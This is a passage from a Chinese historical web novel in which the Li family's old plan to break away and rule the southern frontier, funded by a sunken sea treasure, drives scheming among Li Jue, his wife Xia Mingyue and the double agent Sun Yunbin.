如此以来,明面上的渔户,实际上的海匪,先是变为了当地的新军,之后摇身一变成为了大恒的端侯,也是南疆的南军统领。 这个南郡统领可比华靖离的靖北大将军要厉害多了,因为华家军虽然在北疆的势力很大,占据了整个北军的七成人马,可他们毕竟只是北军中的一支。历代的钩翊侯都受朝廷封赏、辖制,他们即便在实际意义上统领了北军,也没有做过北军大统领这个位子。 不得不承认当时的李家要比华家更厉害一些,地位也更高一些,也正因为如此,大恒的开朝皇帝要求老端侯来元京开府,而将原本的旧部和南疆诸军都交给朝廷派去的人。 李家老祖当然不会愿意,他留在南疆,有群山阻隔,他名为军侯,实际上与划地而治的土皇帝没有多大区别。 而他如果入了元京,虽然还是军侯,可就是众多臣子中的一员,离开了自己的人马,万一哪天被人抓住了把柄,朝廷就算只是为了收南疆之军,也会让他和他全家的命。 他不得不去元京,也不得不交出南军大统领的位子,甚至交出了大部分南军的控制权,只保留了自家的李家军,可是他也向朝廷要了一样东西,那便是南疆的海贸。 那时候南疆海贸有八成都出自李家,可朝廷也没有办法,立朝之处,一切都尚不稳定,朝廷要想将人马收回来,还不让局势再次大乱,就必须付出代价,南疆的海贸之权就正是朝廷和李家交易的砝码。 当时的大恒新朝也没有经营海贸的能力和经验,交给熟悉那边情况并且人脉甚深的李家人打理的确是最好的选择。从另一个角度来说,用银钱来收拢、安抚李家人和与之相关的人脉,来换取南疆的稳定,符合朝廷的利益。 但这样以来,也给之后几代人之后发生的事留下了隐患。 李家老祖的后人和历代端侯留在元京之后,愈发渴望回到南疆开启他们土皇帝一般的生活。在那边,他们有数不清的钱财可供享用,还可以不受朝廷辖制。 而当年的南疆旧部,也有很大一部分人有这样的想法,他们在被大恒朝廷收编之后,虽说能够以新朝新军的身份成为军户,不再被当地的豪族欺凌,可别的就没有更多了。 那点儿饷银,在贫苦百姓面前是一条活路,精打细算地能养活一家老小,可对于南军中的很多人却不是这样了。 他们是当过海匪的人,见识过这世上的富贵,哪里还能满足于朝廷给的这点饷银和衣食温饱?他们要的是富贵和远大的前程。 一来二去的,这些人就跟当时的端侯,也就是李玦的祖父勾结在了一块儿,也是从这时候开始,李家正式开始谋划南归,想要重新回到南疆,做他们的南疆王。 如果一切顺利,他们就打算建立另一个朝廷,做真正的皇帝。如果欠缺那么点儿运气和实力,他们便继续做大恒之臣,受大恒封赏。 只是无论如何,在南疆都得是他们说了算,他们都再不愿意在如今的朝廷的眼皮子底下过这种憋屈的日子了,他们要做王甚至是皇。 他们要回到自己的故里,要自己说了算! 第496章你们都是后加入的 时间来到先帝和上一代端侯也就是李玦的父亲在世之时,老端侯上承先辈遗愿,也以带族人回到南疆为己任,而在先辈准备好的暗中人手的策应下,联系到了部分南军的后人,他们都愿意支持他。 只是兵马未动粮草先行,他们想要成事,想要让这么多人跟着他干,还有李家军余部从元京回到南疆之后都需要粮食和银钱来支撑。 这时候能提供这种支撑的最有效的手段就是海贸,而且必须是一次大宗的海贸才行。 如果是分成小规模的很多次,这中间一旦被人盯上了,非但原本计划的事成不了,好不容易贩回来的东西和获得的钱财到不了他们手里,甚至也到不了朝廷手里,最终都得被南疆诸王给瓜分了。 因此,只能是一次,一次在规模上绝无仅有的海贸,这样反而可以出其不意,钱财到手之后在无人驻守的海岛上就地隐藏,然后尽快起事,让南疆诸王手下的旧部后人策应,李家军顺势直入南疆。 从此南疆脱离大恒朝廷独立,或是以属国或是封地的形式臣服于大恒朝廷,像朝廷纳贡,总之要成为一个独立的地方,自己做自己的主。 然而在那次的海货到岸之前,岸上的时局出了变故。 他们原本想着趁着南疆相对太平的时候,挪用府库的钱财到外面贩海货、盗挖邻国宝藏,等到这些东西出手之后,他们刚好把之前从府库挪用的部分补充回去。 这样就可以神不知鬼不觉地拖延一段时间,在朝廷发现之前,他们就可以完成人马上的其他部署,却不想因为中原突如其来地来了一场旱灾,朝廷需要调度府库存银赈灾,致使这件事提前被揭穿。 当时那些个运送货物和宝藏的船只还在海上还没有回来,圣上得知此事之后大怒,但考虑到一旦此时公开,灾民得知真相,知道自己几乎根本不可能得到赈济,必然大乱。 于是,圣上决意稳住局势,这件事除了上报此事的户部尚书之外,暂时不再让更多人知晓,并立刻密旨当时的华侯也就是华叶峰的兄长、华靖离的伯父派遣人马绕过祁笛购置粮草用以赈济,待中原旱灾缓解之后才追究老端侯的罪责。 圣上这么做,自有其睿智之处,那毕竟是海上,是大恒不熟悉的领域,要是一上来就对老端侯下了死手,他拼了自己一条命,让那些宝物彻底消失,大恒府库的损失该由谁来补齐? 老端侯要追究,但关键还是要通过他把府库的损失找回来,不然要了他一家子的命也没什么用。 就是在圣上和老端侯周旋的时候,老端侯找上了楚霆孝也拉上陆家入局,之后在陆家坏事之后,又因为子女姻缘拉上了夏家。他以那些宝藏为条件,希望楚家在朝野上下为他斡旋、拖延,希望陆家能够在南疆壮大人马借以补充李家军嫡系之人马的不足,将来共赴南疆,成就大事。 楚霆孝当时还是一个中年人,虽已贵为丞相,可朝中人才辈出,已经让他觉察出了危机,况且楚家的祖籍便在南疆,在那里也有一定的基础。老端侯答应与楚、陆两家三分南疆,这样大的诱惑如何能让他不动心。 四家的联盟便是在这样的情况下结成的,也就是说一开始只有端侯府一家,另外三家是后来加入的。 李玦冷呵一声:“为了这批海藏,你难以想象李家付出了多少,那里面可不止有通过海商贩回来的名贵海货,还有出自邻国历代帝王墓冢的陪葬宝藏,为了得到后者,李家军损失巨大。” “还有那些个船工和出海之人大部分都是李家在南疆的亲族和同乡。楚、陆、夏三家都是后来加入的,尤其是你们夏家,加入最晚,出力最少,如今退出了也没什么,左右到了事成之后也分不到多少。” 楚家将夏庸这个女婿推到兵部尚书的位置上以备他日之用也是花了心血的,只是还没有到要用到他们的时候,夏庸就退出了。 不过就算夏庸想的那样,最终的利益分配不可能只看你出了多少力,本身的实力有多少、对之后的局势能发挥多大的作用也至关重要。 夏家论实力是四家人里最弱的,唯一的儿子夏登云又不像个能成大事的,就算大事成了,夏家也很难左右南疆之后的局势,夏家的确分不到多少。 当初夏庸之所以会答应这件事,本就是因为他担心拒绝了这门婚事,得罪了楚霆孝,会连原本的功名就没了。再加上当初想着,若是事成,即便他分不到太多好处,可能分到的对于他们夏家这样的寒门来说也不算少了。 那么,现如今因为夏明月这个不长脑子的,他连兵部都快待不下去了,连楚家的势力都遭到了打压,他将来能分到的恐怕就更少了,那退出也就退出了。 夏明月纵使不甘夏庸的退出,现在也认清了这当中形势的变化,不过好在她原本依靠的就不只是夏家,更重要的是楚家。 按理说楚霆孝有自己的亲孙女,该对亲孙女更好才对,可也不知道为什么,夏明月舅舅家的那两个表姐妹从小到大就是没有她受宠,楚霆孝在她身上投入的远比对自己亲孙女的要多。 夏明月把这一切解释为楚氏是楚霆孝的独女,而她的性子也更讨楚霆孝欢心,这才独得了这份宠爱: “可是楚家不一样,要是没有楚家的斡旋,你哪儿还有爵位可以承袭?恐怕在公公过世之后,你跟婆母就被流放了,哪儿还有现在的好日子过?” “还有陆家,不用说我也能猜到,他们虽然被流放到了彭州,可在那儿也恰恰方便他们逃过朝廷的眼线,他们定然是养了人马的。而陆家其实也依附于我们楚家,陆家现在家主还曾经与我母亲有过婚约。” “虽说眼下他们都还没有像你们李家那样折损那么多性命,可要是没有他们,圣上还会忌惮你们李家么?还能容得你在这儿好好的养病,还袭了爵?更何况,现在用不到,不代表以后用不到。” 论过去,没有楚家斡旋,那借蛊医之手除掉的户部尚书恐怕就能查到更多端倪了,圣上未必还愿意为着那些海藏引而不发。 论这几年,海藏宝藏到底是死物,只要拿不出来,最多就是府库的亏空补不回去,却在现实意义上没有更大的危害。 反倒是陆家暗中的人马是活的,真闹翻了,定会生事。还有楚家在朝野上下的力量也是如此,这些能“动”的才是圣上和朝廷会忌惮的东西,也应当分得利益才对。 第497章以退为进 夏明月嘴一努道:“你想把剩余的海藏都给你们李家族人?你还真没把我们楚家放在眼里啊,那要是外祖父他们现在撂了挑子,你们的大事可就成不了了。” “话说回来了,楚家原先和现在只是斡旋,陆家养了兵马却还并未用到明处,夏家更像你说的,如今已是可有可无的了……要是现在楚、陆两家也就此偃旗息鼓,或是就此向圣上求和,你说最惨的会是谁?” 如果楚、陆两家也撂挑子了,他们做的事最关键的部分都还在谋划阶段,又用投诚来表了忠心,要是再能配合朝廷把海藏取出来,哪怕只能确定确定具体的位置。别说可以减轻罪责了,还算是立功了呢。 这当中最惨的,当然就属始作俑者的陆家了,尤其李玦已经成了瘫子,更是一点将功补过的机会都没有了。 可是,楚霆孝和陆远山会这么做吗? 当然不会,关于这一点,李玦虽然不清楚这两家私底下具体做了什么、付出了多少,可他多少也能估算得出来。 对于楚霆孝来说,在南疆裂土封王、荣归故里的诱惑远比在元京当相爷大,况且这相位可不是世袭的,他的两个儿子凭自己可做不上相位。要是到了南疆,哪怕只是三王之一,也够楚家受用了。 至于陆远山,当年他们陆家的流放之地之所以能确定在彭州这么一个适合暗自养私兵的地方,多亏了楚家斡旋,但要是他们家自己不愿意,也不至于去彭州这么一个异常苦寒还九死一生的地方。 二十年的苦寒,陆远山甚至因此绝了子嗣,他就绝对不会只满足于朝廷给他的那点将功折罪的封赏,还要等着若干年后的哪一天被秋后算账。 李玦心里是吃准了这一点的,不过对着夏明月,他当然要安抚她,不能让她动不动就到楚霆孝面前添油加醋: “这是自然,我不是不念旧恩之人,以后也还要靠外祖父和陆叔父多多扶持。我只是说,剩余的海藏要留出一部分份额分给李家族人还有当初为了这些海藏付出了性命的人。” “这是他们应得的,况且他们的家人、族人大多都在南疆扎根了几代之久,已经养出了人望。若是不抚恤他们的家人、族人,将来你们去了南疆恐怕也难在当地立足。” “南疆跟中原、元京,甚至是北疆,都不一样。那里尚未完全开化,宗族观念甚重。你若不信,也可以问问你的长姐,她现在对北疆应该很了解了。” 这倒也是,夏明月也听说过这些,她冷哼一声道:“真闹不明白,你们谋划一场,怎么就选了南疆这么个破地方?” 李玦眸光一黯,继续哄她道:“南疆虽未完全开化,可上下相差巨大。的确,那里的百姓有许多都是寨民,还有许多是大恒初年才归顺的异族之人,可那里的王侯、官员的日子过的却都是不错的。” “依托着海贸,又是天高皇帝远的地方,你的日子可以过得远比在元京时肆意、富贵。况且若是事成,你还只会是一个侯夫人么?” 当然不会! 夏明月眼睛亮了亮,随即躲闪、避开了李玦的目光,因为重生,她甚至清楚最终李玦他们成事不仅是在南疆,还是在实际意义上得了整个大恒的天下。 这里面的变数就是太子谢维,上一世,不止是当今圣上,大概所有人都没想到谢维在孙允斌的策动和挑唆之下,会对华靖离和一干肱骨之臣动手。最终虽然龙椅上坐的还是谢氏一族的人,但整个朝廷都已经落在了孙允斌和李玦两个人的手上。 这辈子,在李玦还好好的时候,她就曾经想过要让孙允斌跟他们之间的联系更紧密,最好能让孙允斌推李玦一把,让李玦彻底取代谢维,做这大恒的新王。 可惜李玦瘫了,而且孙允斌虽然跟上辈子一样依旧是潜力无限的才俊,可是在排除了上一世私情的作用之后,她发现这个人并没有想象中的那般好操控。如此以来,她只能放弃原先的打算。 不过,要是能让孙允斌推动她的舅父或是表兄上位也是好的,就算不行,要是孙允斌自己替了谢维成为新君也不错。 孙允斌只是后族旁支,如今的孙氏一族已然人丁单薄,势力更是被当今圣上打击得七零八落的。他若是做了新君,定然需要能够依靠的大族支持,楚家和李家在这一点上都很合适。 当然,在大事儿上他做不了楚家的主,可是李家不一样,她是端侯夫人,李玦现在已经将端侯府内的事交给她打理,还有十年的时间,她定然可以把他在外面的事也握在自己手里。 将来她大可以带着李家的势力投效孙允斌或是那时坐上龙椅的人,当不上皇后,也可以当个敕封的国夫人,这样的前程也不错,足够把夏明嫣踩在脚下了…… 夏明月深深地吸了口气,无论如何,她都得让事情继续发展下去才行。 她必须得稳住李玦,至少要等海藏宝藏都从海里取出来之后才能翻脸,想到这里,她不由得放缓了语气: “这要求也不算过分,我会转告外祖父的。你还有没有别的要求?在这府里头,你只要不让我没脸,很多事儿我还是可以由着你的。” 李玦在心里长舒了口气,他还是了解她的,她终于还是退让了: “外头的事如今我不方便亲自出面,叫孙允斌进来见我,你不也很看好他么?以后外头的事就由他来打理。” “还有何表妹,之前在南疆海岸的人手都折损了,这中间不得不用何家人补足,要靠她来安排。” 一提到何雨萍,夏明月脸上就露出了不悦之色,他赶忙更加放低了姿态, “我都成这样了,还叫她表妹了,你还吃醋?如今这般,就算让她日日都来我这儿,我们还能做出什么?真是有事儿要交代她。” “你们楚、夏两家的人是能去做海匪还是做船工,再或是能去干那些脏事儿,还是让何家人来吧。我母亲进了寺院清修,想来成事的时候,她也难在人事了,何家独木难支,你还有什么好担心的?” 这倒也是,这种事儿一旦成了,负责干脏活的都是要被处理掉的。何夫人再有五年就要过世了,何大舅也没活到上一世成事,就连上一世的何雨萍也…… 第498章真假投效 上一世的何雨萍也没有熬到最后,具体发生了什么,夏明月也不清楚,她只知道何夫人过世后没多久,她就死了,好像是在往来南疆给刚刚重建的李家军送粮草的时候被路上的山匪所杀。 也说不定这只是一个借口,毕竟私底下干脏活儿的仇家也多,谁知道会发生什么。 想到何雨萍最后的下场,夏明月心里的嫉恨缓和了一些,点了下头: “我不是那等不顾大局、不识大体的人,以后会安排他们来见你的。可你有什么事也不能瞒着我,你跟我说了,我也好跟外祖父讨人情。我父亲那儿虽说是退出了,可他也不会完全不管我这个女儿的。” “好,以后我都不瞒你。你我夫妻一体,纵使没有了夫妻之实,也还是要守望相助的。” 李玦没再说什么,眼看着夏明月用帕子掩着鼻子就那么走了,他反而舒坦了些。 说起来,他还得感谢楚霆孝对他一直不够重视,只让夏庸管着他的事,也得感谢嫁过来的是夏明月,不然现在他一定已经被楚霆孝看得死死的了。 其实在如何看待夏明月这事儿上很多人都被假象蒙蔽了,这件事的根源还是楚氏和夏庸的报喜不报忧。 以前他们为了给夏明月打造一个良好的形象,不仅对外从不说夏明月的不好,给她打造名声,就算是对自己人,也从不说她具体哪里不好。偶尔说几句“这孩子调皮、毛毛躁躁”的话,楚霆孝还以为那是楚氏和夏庸自谦的说辞呢。 包括现在,楚霆孝也只是知道那把宝刀的事跟夏明月有点关系,却根本不知道这件事大部分都是夏明月的错。 本来么,一个正常人知道自家府库的账面上只剩下两千多两银子了,发现自己的夫君还送了两件价值连城的宝物给别人,都应该会想一想这当中是不是有别的用意吧? 可夏明月不是正常人,在这两样东西是被她最不喜欢的长姐亲手送回来的情况下,她都没有多想,甚至连问都没问他一句…… 要是楚霆孝知道夏明月是这么一个混不吝还自诩手段高明的人,一定早就另外派人盯着他了。 还好楚霆孝还没意识到这点,而且他毕竟只是夏明月的外祖父,就这么的往外孙女婿府里派人也不好看,因此现在还有一个乔嬷嬷在府里而已。 夏明月是几乎不管事儿的,乔嬷嬷忙着料理府中大小事务,忙得脚不沾地,在李玦这边安排了服侍的人之后便也没再多管什么。何况,那日楚氏过来,也答应过让李玦自己处理外面的事。 于是,李玦很快就见到了孙允斌和何雨萍,先进来的是孙允斌。 李玦先前因为夏明月看上了孙允斌心里多少有些忌讳,现如今他都成这样了,反而没有多余的精力去计较这些了。 像孙允斌这样的池中蛟,别管什么原因,哪天得了机会一飞冲天了,他就得走,他们是留不住的。若是他真会因为夏明月而留下来,哪怕只是多留几年,他都不好说什么了。 不过看到孙允斌刚才尴尬的脸色,他也能猜想到刚才发生了事:“允弟,你受委屈了。原先我招揽你入府,是想给你一个机会,让你历练之后,跟我一起着手重建李家军。” “如今我袭爵了,却变成了这副模样,你还死心塌地地跟着我,我不知何以为谢。允弟,你若是有更好的前程,不如就去吧,我不会怪你,世人也不会……” “侯爷何出此言?您对我有知遇之恩,想想当日我初来元京,寻不到孙家族人,举目无亲,多亏侯爷您收留,又让有幸进钩翊侯府走了一遭,长了见识,我也不会有现在的前程。” 孙允斌赶忙止住了李玦的话,态度诚恳地表着忠心,实际上在他心里面此刻正打着十二分的精神等着看李玦是不是真正信任他了。 他已经投效了华靖离,甚至还通过华靖离成为了东宫舍人,虽然表面上他只是自己通过了征兆,跟华靖离没有关系,但其实若没有华靖离,谢维不会一开始就对他委以重任。 他现在不仅替谢维负责南疆的消息和与中原相接的那几个寨子的民情,还为华靖离着手刺探南疆最大的藩王常王的消息,还有那暗中的海贸他也开始试着插手了…… 可这一切背后的意味再好,都有一个前提就是,他们得先稳住李玦,至少在找到另一半坐标之前, “侯爷,我知道您在如今这般境遇中一定很不好受,您本是天之骄子、潜龙在渊,却突然遭此变故。可您本就出身累世公卿、贵胄之家,本就不用凡事亲力亲为,您如今大可运筹帷幄。” “其他事就由我和您的心腹之人去办,南疆那边还有许多老端侯的旧部,只要我们重新联系上他们,办法总会有的。就像那些铰链和探海之物,只要您发话,我这就去筹集精钢、精铁,募集工匠,重新打造。” 李玦很满意孙允斌这言之有物的办事态度,显然不是敷衍他的,而是经过深思熟虑的。 夏明月这人想一出是一出,他们没有太多时间相互试探,说不准一会儿就要来人赶人出去,李玦只能快刀斩乱麻地道: “你的想法是好的,只是那些东西你并不熟悉,还是交给原先负责的人重新打造比较好。你放心,查到的那个‘渔村’并不是全部,暗中的人还在。” “我要你做的是另一件事,这件事眼下只有我和我母亲两个人知道……允弟,我想把他交托给你,若是事成,你放心,我绝不会亏待了你。” 孙允斌心有所感,但还是稳住了自己,深谋远虑地道:“侯爷您要办什么大事的话,最近恐怕不是时机。太子殿下自从从南疆回来,就很是意犹未尽,他近来总是问我寨民和山林地的事,只怕是还想再去一次。” “这时候您这儿要是有大动作,我就怕引起了殿下的注意,坏了您和端侯府的事。还有楚相那边,您既然托我去办,而没有通过夫人知会楚相,想必这当中是有难处的,万一让楚相知道了,我死不足惜,就怕之后一段日子,就暂时没人能给您做事了。” 第499章一片忠心 要做这种大逆不道的事,关键就是在君王找到实际的证据之前,尽量做到一个“秘”字,坚持得越久,暗中准备的时间越长,将来成事的几率越高。 孙允斌现在才刚当上这东宫舍人,立足未稳,他之前对李玦描述他在东宫的地位时又是往低了说了,这种时候就不能直接答应下来,得充分考虑到当中的风险,才能说明他是真正考虑过这当中的问题的。 对于李玦来说,也的确有这层担心,吕家的事太过突然,何夫人交代李玦时十分仓促,那些暗中的人好些都还没跟李玦接上头,就算那些已经私下里见过或是见过中间人的,也缺少一个可以在明面上行走的身份。 像孙允斌这样从出身到能力都能摆到台面上的着实少有,而且孙允斌之前还在钩翊侯府里待过一段时间,虽说没混出个名堂就出来了,可华家人也没有说他有什么错处的。这就相当于由钩翊侯府做了保了,他至少是没有大问题的。 这样的人万一提前被人留意到了,揭穿了根底,李玦这边定然要被人加倍留意,以后再想有这么一个人内外沟通怕是难了。 李玦暗暗肯定了孙允斌的谨慎,沉声道:“不是明面上的事,这件事知道的人甚少,不会被他们留意到。事关那海藏的具体位置,事到如今,你也是自己人了,我也没什么好隐瞒的了。” “海藏的位置我手上只有一半,需要另一半才能确定具体所在,还有那探海索机扩的最后一步也遗落在外,这些都在另一个人手上。” “之前这人在我父亲在时就偷拿了图纸和方位记录,派去寻访他的人说他坠崖而亡,这些东西便失去了踪迹。最近底下的人回报,当年之事又有了新的消息。说是此人另有身份,在他死前回过他真正的家族。你需要去前去此地暗中寻访,你记住……” 李玦说出了一个“张家”、“王家”、“陶家”,又说了一个地名,意思就是这个地方的这三个大户人家皆有可能。 “具体是谁还需要你具体寻访,那人当日在李家军时是带着妻室的,是个年轻女子,据说她曾经无意间说漏过嘴,说自己是妾室改嫁,但没有透露过娘家和从前的夫家具体在何处……她的过往很可能不大光彩,你可在这四家中探访。” “拿到那东西之后,若是有人怀疑你了,你便不用再回元京,直接去南疆,会有人去接应你……” 只要完成了探海索的最后一步,又有了东西的具体位置,之后要做的就是去如何把那些东西取出来了,这是一个非常大的工程,经办和监督之人是要与暗中取物之人待在一起的。 孙允斌顾作迟疑地道:“可是如此以来,东宫那边就会生疑,况且东宫舍人的位子来之不易,这可是接近储君的良机,一旦错过,恐怕短时间内就再难有了。” 李玦点了点头,孙允斌在乎这样的机会也很正常:“那些个海藏价值巨大,恐怕抵得上如今大恒全部府库所藏之总值。咱们有了这些东西在手,即便不做那等事,什么条件不可以谈?” “圣上年事已高,他日太子殿下继位定然急需财力支持,有这么大一笔财富在手,什么不可以谈?你放心,日后我能给你的前途定然不会比现在的低。” 这世道,典型的谁有银子、谁有人马,谁就是大爷,海藏到手了之后,什么不能谈? 要继续起事,这就是起家的资本,要是中途再出什么变故了,拿这这笔“巨款”也能跟朝廷谈。 李玦这么说也不能算是虚言,只不过到时候能分到孙允斌身上的利益有多少、能不能保证他的前途不亚于现在,就不好说了。况且取出海藏也是一件艰险的事,在这个过程中能不能保住性命也不一定。 孙允斌像是对这些潜在的风险有所察觉,却还是义不容辞地道: “孙某愿报侯爷知遇之恩,正好东宫那边有意让我先去南疆探访当地寨子和商道的实际情况,我便借此出行。一有消息,我便会设法传消息回来给您。” “若是不成,我也绝不会让消息落到别人手上。还请侯爷务必保重,只要您身子康健,得了这宝藏之后,咱们就可以去与楚相商谈,接您出府,至少不让您再受夫人搓摩。” 自动李玦出事之后,夏明月和楚氏、夏庸关心他的身子是因为担心他不行了,影响了那件大事,还亏了他们的宝贝女儿一辈子。 楚霆孝关系他,更是连面都没露,只派了两个管事到府上叮嘱了乔嬷嬷一番,之后便没有了后续。 而孙允斌虽说也在为他自己的前程考虑,可是他能想到把李玦接出来休养,还不让他受夏明月搓摩,关键是他还把最后这半句说了出来,着实难得。 在连日的冷遇之后,李玦心里一热,感慨地道: “我与你相识之日尚短,没想到你会这般为我着想。你放心,事到如今,我也不是没想过退路的。无论事情成与不成,我都不会亏待了你。” “还有夫人那边,是她自己不尊重,你是个好的,且不用理她,待到事成,什么不可以谈,我也不会留这样的毒妇在身边。” 孙允斌又表了几句忠心,退了出去,临走之时,李玦还让他将等候在外的何雨萍叫进来。 孙允斌走出去一段路之后回头望了望李玦住的院子,不免感慨,还好他之前果断地做出了选择,这可是连老天爷都不帮着端侯府啊。 端侯府人丁单薄,到了李玦这儿彻底成了单传,如今何夫人被关起来了,李玦是连个商量的人都没有了。 其实何夫人当年把李姑母和何姨母两家人留在府上,又让这两家的男丁留在府上和庄子里任职也是有道理的,那些人好歹是李玦的表兄弟,到了这种事儿上,考虑到事败连坐的可能,还是会帮他的。 尤其是李姑母,老端侯活着的手足里就剩了这么一个妹妹,又是年轻守了寡的,她的小儿子在老端侯在世时就改姓了李,上了李家族谱,那是真正的自己人。 现在倒好,这夏明月一杆子下去,把这些人都轰走了。因为之前还没有到推心置腹、土露大事的时候,李玦的这几个表兄弟现在是什么都不知道,都去外头自谋营生去了。 第500章一进一退 这还不算,因为夏明月不仅把人给赶出去了,还在端侯府门口当众羞辱了这两家人。 这两家人也不是没骨气的,而且这些年的确是为端侯府付出过的,他们所求也不过是侯府的差事还有在白玉凤和栗羡鱼的婚事上帮一把手,其实并不过分。 他们当即便表示了,要与李玦和夏明月断亲,以后再不靠他们,也要看他们的下场。 如今这两家人都跟着夏明嫣来做南边的生意呢,夏明嫣有意安排,故意断了李玦的后悔路,把这几家能用的上的人都支去商路那边的寨子去了,留在元京的都是两家的老弱,派了退军家眷过去好生照料了起来。 李玦现在想找别人去办这些机密要事,找不到别人,就只能找他身边最能干也是最能把握的那个,也就是孙允斌了。 李玦与孙允斌相识虽然不久,也没有握住孙允斌比较大的把柄,但孙允斌毕竟出身后族,这样的人一般不会舍下脸面做那两面三刀的事,做事不会完全舍下底线,只因他不可能舍下身为后族的荣耀,不愿在先太后的身后之名上抹黑。 因此,李玦是信任他的,眼下也只能用他,只是他并不像李玦想像的这般单纯。 而且李玦还错估了一件事,既然孙允斌是一个有底线的人,那么他的底线可就不止是会站在对他有知遇之恩的这个人这边了,他的底线很可能也即为合理的应该是这世上的正理,是一个远大却也能安放于太阳之下的前程。 一个真正有底线的人,不会在还有生路的情况下还选择当一只阴沟里的老鼠。 夏明嫣和华靖离做的就是让孙允斌发现他的眼前并非只有那条越走越黑的路,而是另有生机,也在他变得冷漠、麻木之前,阻止他走出破罐子破摔的第一步。 一个人,在破罐破摔之前,都是要先做下一件严重的“破事”的,是这件事让他回不了头,让他只能往至黑至暗的地方走。 他们做的就是杜绝这让他回不了头的第一步,再把他的胃口给养刁了,让他看不上李玦他们给他指出的这条路,这当中就连夏明月也成了他们的助力。 孙允斌主动送上门去,夏明嫣都没动他一根指头,还给他推介了华靖离这条路,那么夏明月所图就不仅高下立现了,还肮脏至极。现在不用说别的了,就算只冲着夏明月这个人在,孙允斌都不愿意跟李玦一路了。 更何况孙允斌在比别人有底线也只是相对而言的,后族,本身就是依靠一介女子之身向上爬的,他的本质还是要向上爬的。那么……跟着一个被拿捏在女人手中的瘫子,还怎么爬的上去? 孙允斌此刻的心态正是如此,他得赶紧向华靖离这边靠拢,早日真正在太子面前挣个脸面啊。 刚才李玦交待他去找的坐标一定要找到,而且要送到华靖离手中,让他和太子早日把东西拿出来。不单只如此,他还得看看能不能在这个过程中把那四家的联盟打散或者抓了现行…… “孙公子,这是跟侯爷说过话了?” 夏明月在廊下摆了酒菜,生着炭火,遥望着若有所思的孙允斌。 那凉亭上提前挂好了锦帐,再有足够的炭火取暖,锦帐是桃粉色的,炭火的星点火光一起,整个凉亭都变得粉嫩嫩、暖烘烘的,让人看了不由得浮想联翩。 只是这是夏明月和其他人的看法,孙允斌抬眼看去,只觉得那是一个泛着邪乎妖光的墓冢。 孙允斌背过身去看了一眼,表面上是在确认后面有没有人跟过来看见,实际上是在调整心绪,待他转过身来时已经换上了之前那副刚刚才来元京时的书生模样。 这初出茅庐、没见过世面、只会读死书的书生好啊,面嫩,经不起她撩拨……这样看起来就不完全是他不愿意接受她、厌恶她了,是礼节和天性使然,怪不得他。 夏明月见孙允斌这副矜持中带着羞怯的样子,莞尔一笑:“孙公子,过来坐坐吧,我也很关心侯爷的身体呢。他病了之后,就要面子,有些话反而不对我说。” 孙允斌在心里对她装模作样的姿态嗤之以鼻,面上半推半就地道:“小生明白夫人的顾虑,侯爷身为一家之长,如今这般……面子上是要维护的。” 夏明月向他伸出手,坐下的时候想让他扶一下,他没有防备她会来这一手,被她碰了一下,他本能地哆嗦了一下,将手移开。 这一举动反而让夏明月更加认定了他是个纯善的毛头小子,她笑的更欢了,她要是想收面首,收个那种地方出来的跟收一个世家公子的感觉当然是不一样的。 尤其是夏明月心里清楚孙允斌将来的地位和权势,她也都想好了,以后就要把孙允斌变成她的退路。 要是等到孙允斌成为摄政王了,她才跟他在一起,他定然会嫌弃到时候已经三十好几还是二嫁之身的她。 可是她从现在开始跟他在一起就不一样了,这时候他尚在微末之时,她愿意跟他一起,不仅是出于情爱,这对他来说也是一种慧眼识珠和扶持。有了这份感情,将来就不一样了。 想到将来,夏明月对他就更多了几分包容和热情: “孙公子不必拘束,我不是一个不识好歹的人,危难之际,你还愿意帮助我们端侯府,对我们不离不弃,我定然要让你放心,给你个持仗,不然也不好继续让你办事了。” “夫人客气了,小生本家家族凋敝,小生又是旁支,侯爷对小生有知遇之恩,小生不能不报。”孙允斌恭敬地道。 “对你有知遇之恩的,可不止他一人,你不知道,我也为你说了许多的好话。”夏明月笑着将桌上的酒盏推向他。 孙允斌则表现得更加诚惶诚恐,连忙低头拱手道:“小生自然也是感谢夫人的,只是碍于礼教,小生无力表达。可但凡夫人有所需,小生定当为夫人效力。” 他假意湿了眼角,还用袖子覆在手上沾了沾,“夫人和华侯夫人是姐妹,你们都是很好的人,小生三生有幸,一来元京就遇上了你们和侯爷。” 夏明嫣的德行在城中有目共睹,谁见了都要夸赞几句,把夏明月抬高到了与夏明嫣比肩的高度,她反而不好再有什么过分的举动,不然可就成了她承认自己比不上夏明嫣了。 夏明月心里恼恨,面上却不干表露什么:“也是公子的运道好,他日公子高升,可不要忘了我们。以后这端侯府内宅的日子怕是不好过了,我一介妇人,不懂外面的事,以后孙公子可要常来,跟我说说外头的事。” 第501章挑动风云 夏明月要知道的当然不是外头的那些能打听出来的事儿,她想听的是涉及端侯府暗中部署的东西,这些她只有从孙允斌这里入手。 孙允斌识趣地点了点头,目光闪烁地道:“夫人,侯爷的确对小生有所吩咐。只是这件事还没有个定数,还无法回夫人的话。” 这倒也正常,孙允斌才刚刚接触端侯府的隐秘,要是凡事一上来就能把握得住,李玦他们也不会折腾这么多年还没有多大进展了。 夏明月体谅地引着他多说一些:“这事儿很难办?要是有什么困难,你也可以说给我听听,要是我和楚家、夏家能帮上忙的,我一定帮。” “夫人跟侯爷夫妻一场,即便以后不同以往,夫人也会与侯爷同心协力。您说,是吧?” 孙允斌聪明地转变了话题,还把对夏明月的称呼从“你”改成了“您”,既表达了尊敬,又不动声色地拉开了距离。 “那是自然,无论如何,我都不是那等薄情之人。” 夏明月嘴上这么说,心里想的却是不能让孙允斌认为自己薄情,不然他该不愿意接近他了。 孙允斌不无感慨地道:“那这件事小生便可以对夫人说了,夫人想来也知道端侯府的海藏宝藏一事。大海茫茫,要取出宝藏,先要做的便是确定宝藏的位置,可如今端侯府只有一半坐标。” 见夏明月不解,他赶忙解释道,“这坐标就是位置,一个坐标至少分为两部分,就好像这端侯府的府邸,您可以把地契找出来看看,上面记录着这宅邸从北到南、从东道西,中间有多少距离,到哪里。” “现在这海藏宝藏坐标缺失,就好像只有北和西,缺少南和东似的。这要是在陆上也就罢了,位置不够清晰也还能探查。可这是海上,海藏沉没的位置很深,差一点都会更加艰难。” 这里面有个问题就是,要是在岸上,你要把大的物件从山崖下、从地上的大坑里弄出来,可以借助周围的山壁、岩石、侯土作为支点搭建机扩,用滑轮、绞索将东西吊上来。 可是在海上是没有支点的,要用绞索就要先造大船和机扩,要是不确定具体的位置,不知下面的东西有多大、多重,那机扩便不好打造。 因此,必须先知道海藏具体的位置,让人潜下去查明了具体情况,才能在岸上就调整好大船和机扩,否则到了海上再做这些准备可就一切都迟了。 